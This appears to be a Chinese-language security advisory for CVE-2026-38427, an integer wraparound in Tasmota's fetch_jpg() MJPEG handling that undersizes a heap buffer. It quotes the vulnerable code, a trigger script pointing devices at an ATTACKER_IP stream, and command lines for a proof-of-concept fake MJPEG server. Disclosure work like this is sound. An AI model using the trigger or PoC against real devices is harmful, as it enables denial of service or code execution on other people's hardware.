CVE: CVE-2026-38427
严重性: 严重 (CVSS 9.8)
产品: Arendst Tasmota
受影响版本: <= 15.3.0.3
文件: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
函数: fetch_jpg() — case 2 (MJPEG 帧获取)
作者: Saidakbarxon Maxsudxonov
披露: 负责任的披露——发布前已报告给 Tasmota
Tasmota 脚本驱动中的 fetch_jpg() 函数存在 uint16_t 整数回绕漏洞。当 Tasmota 设备从攻击者控制的服务器获取 MJPEG 帧时,Content-Length 标头值通过 atoi() 读入一个 uint16_t 变量。大于 65535 的值会静默回绕(例如,65537 → 1),导致分配的堆缓冲区尺寸严重偏小。设备随后只从流中读取回绕后的字节数,剩余的字节残留在流缓冲区中,造成堆/流状态损坏,进而导致崩溃 (DoS) 或潜在的远程代码执行。
// tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
// Case 2: 获取下一个 MJPEG 帧
char inbuff[64];
stream.readBytesUntil('\n', inbuff, sizeof(inbuff)); // 读取 "Content-Length: 70000"
char *cp = strchr(inbuff, ':');
uint16_t size = 0;
if (cp) {
size = atoi(cp + 1); // atoi() 返回 int 70000
// 隐式截断:uint16_t = 70000 & 0xFFFF = 4464
}
uint8_t *buff = (uint8_t *)special_malloc(size); // malloc(4464) — 太小!
if (buff) {
stream.readBytes(buff, size); // 只读取 4464 字节
// 剩余的 65536 字节留在流中 → 损坏
}
能够使 Tasmota 设备连接到其 HTTP 服务器(通过恶意的 Tasmota 脚本或中间人攻击)的攻击者,可以发送 Content-Length 值超过 65535 的 MJPEG 帧。设备将:
通过 Tasmota 脚本触发:
>D
>B
fetchjp(ATTACKER_IP:PORT/stream,0,0,1)
>1
=fetchjp(2,0,0,1)
该 PoC 运行一个伪造的 MJPEG HTTP 服务器,发送带有恶意 Content-Length 值的帧:
python3 CVE-2026-38427_poc.py --port 8889 --cl 65537
python3 CVE-2026-38427_poc.py --port 8889 --cl 131072
完整实现见 CVE-2026-38427_poc.py。
| Content-Length (标头) | uint16_t 值 | 分配的缓冲区 | 未读取的字节数 |
|---|
| 65536 | 0 | 0 (已跳过) | 65536 |
| 65537 | 1 | 1 字节 | 65536 |
| 70000 | 4464 | 4464 字节 | 65536 |
| 131072 | 0 | 0 (已跳过) | 131072 |